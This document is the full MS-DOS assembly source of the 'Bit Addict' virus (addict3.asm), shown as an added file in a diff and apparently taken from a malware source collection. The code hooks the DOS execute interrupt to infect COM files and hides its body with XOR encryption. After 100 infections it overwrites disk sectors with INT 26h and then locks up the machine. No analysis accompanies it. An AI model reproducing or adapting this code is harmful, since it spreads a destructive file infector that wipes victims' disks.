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MSDOS/Virus.MSDOS.Unknown.addict3.asm

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+code segment
+	assume	cs:code,ds:code,es:code
+
+	org	0
+
+Size2	equ	Virus-Relocate
+
+	mov	cx,Size2
+	mov	ax,word ptr ds:[101h]
+	call	Virus
+
+Relocate:
+	cmp	byte ptr ds:[103h],100
+	jb	InstallVirus
+
+	xor	dx,dx
+Repeat:	push	dx
+	mov	ax,2
+	xor	bx,bx
+	mov	cx,100
+	int	26h
+	pop	ax
+	pop	dx
+	add	dx,100
+	jnc	Repeat
+
+	cli
+Hangup:	jmp	Hangup
+
+InstallVirus:
+	mov	ax,04b41h
+	int	21h
+	mov	ds,ax
+	pop	ax
+	sub	ax,offset Relocate
+	xor	si,si
+	mov	di,ax
+	mov	cx,offset Size1
+	cld
+	repe	cmpsb
+	je	Exit
+	push	ax
+	mov	ah,52h
+	int	21h
+	push	bx
+	mov	ah,30h
+	int	21h
+	pop	di
+	pop	bx
+	cmp	al,2
+	jb	Exit
+	cmp	al,3
+	adc	di,12h
+	call	GetBuffer
+	mov	cs:DataBuffer[bx],ax
+	call	GetBuffer
+	mov	es,ax
+	push	cs
+	pop	ds
+	mov	si,bx
+	xor	di,di
+	mov	cx,offset Size1
+	cld
+	rep	movsb
+	xor	ax,ax
+	mov	ds,ax
+	mov	ax,ds:[84h]
+	mov	es:word ptr OldInt21[0],ax
+	mov	ax,ds:[86h]
+	mov	es:word ptr OldInt21[2],ax
+	mov	word ptr ds:[84h],offset NewInt21
+	mov	word ptr ds:[86h],es
+	push	cs
+	pop	ds
+	push	bx
+	mov	ax,4b40h
+	lea	dx,Command[bx]
+	int	21h
+	pop	bx
+Exit:	push	cs
+	pop	es
+	push	cs
+	pop	ds
+	lea	si,SavedCode[bx]
+	mov	di,0100h
+	push	di
+	mov	cx,14
+	rep	movsb
+	ret
+
+GetBuffer:
+	push	di
+	lds	si,es:[di]
+	movsw
+	movsw
+	add	si,0bh
+	mov	cl,4
+	shr	si,cl
+	mov	ax,ds
+	add	ax,si
+	pop	di
+	ret
+
+Jump		db	0e9h
+NearOffset	dw	0
+		db	0
+ID		db	'Bit Addict'
+Command		db	'\COMMAND.COM',0
+
+SavedCode	db	0cdh,020h,12 dup (0h)
+Check		equ	SavedCode[4]
+Count		equ	SavedCode[3]
+
+OldInt21	dd	0
+DataBuffer	dw	0
+
+NewInt21:
+	cmp	ax,04b41h
+	jne	Ok1
+	mov	ax,cs
+	iret
+Ok1:	cmp	ah,4bh
+	je	Infect
+EOI:	jmp	dword ptr cs:OldInt21
+
+WriteHeader:
+	push	dx
+	mov	ax,4200h
+	xor	cx,cx
+	xor	dx,dx
+	int	21h
+	pop	dx
+	jc	Return
+	mov	ah,40h
+	mov	cx,14
+	int	21h
+Return:	ret
+
+Infect:	push	ax
+	push	bx
+	push	cx
+	push	si
+	push	di
+	push	es
+	push	ds
+	push	dx
+	mov	ax,04300h
+	int	21h
+	push	cx
+	test	cx,1
+	jz	Ok2
+	mov	ax,04301h
+	and	cx,0fffeh
+	int	21h
+Ok2:	mov	ax,03d02h
+	int	21h
+	jnc	OpenOk
+	jmp	Error
+OpenOk:	mov	bx,ax
+	mov	ax,05700h
+	int	21h
+	push	cx
+	push	dx
+	push	cs
+	pop	ds
+	mov	es,DataBuffer
+	xor	si,si
+	xor	di,di
+	mov	cx,offset Size1
+	cld
+	rep	movsb
+	push	es
+	pop	ds
+	mov	ah,3fh
+	mov	cx,14
+	mov	dx,offset SavedCode
+	int	21h
+	jc	Close2
+	cmp	ax,14
+	jne	Close2
+	mov	si,offset Check
+	mov	di,offset ID
+	mov	cx,10
+	cld
+Comp:	lodsb
+	xor	al,SavedCode[1]
+	scasb
+	loope	Comp
+	je	Counter
+	cmp	word ptr SavedCode,5a4dh
+	je	Close2
+	mov	ax,04202h
+	xor	cx,cx
+	xor	dx,dx
+	int	21h
+	jc	Close2
+	or	dx,dx
+	jne	Close2
+	cmp	ax,0fe80h
+	jae	Close2
+	sub	ax,3
+	mov	NearOffset,ax
+	push	ax
+	mov	si,offset Relocate
+	mov	cx,Size2
+Rep1:	xor	[si],al
+	inc	si
+	loop	Rep1
+	mov	ah,40h
+	mov	cx,offset Size1
+	xor	dx,dx
+	int	21h
+	pop	ax
+	jc	Close2
+	mov	si,offset Jump
+	mov	cx,4
+Rep2:	xor	[si],al
+	inc	si
+	loop	Rep2
+	mov	dx,offset Jump
+	call	WriteHeader
+Close2:	jmp	short Close
+Counter:inc	Count
+	mov	dx,offset SavedCode
+	call	WriteHeader
+	jc	Close
+Close:	pop	dx
+	pop	cx
+	mov	ax,05701h
+	int	21h
+	mov	ax,03e00h
+	int	21h
+Error:	pop	cx
+	pop	dx
+	pop	ds
+	test	cx,1
+	jz	Ok3
+	mov	ax,04301h
+	int	21h
+Ok3:	pop	es
+	pop	di
+	pop	si
+	pop	cx
+	pop	bx
+	pop	ax
+	cmp	al,40h
+	je	IntRet
+	jmp	EOI
+
+IntRet:	iret
+
+Virus:	pop	si
+	push	si
+	push	si
+Rep4:	xor	[si],al
+	inc	si
+	loop	Rep4
+	ret
+
+Size1	equ	$
+
+code ends
+
+end
+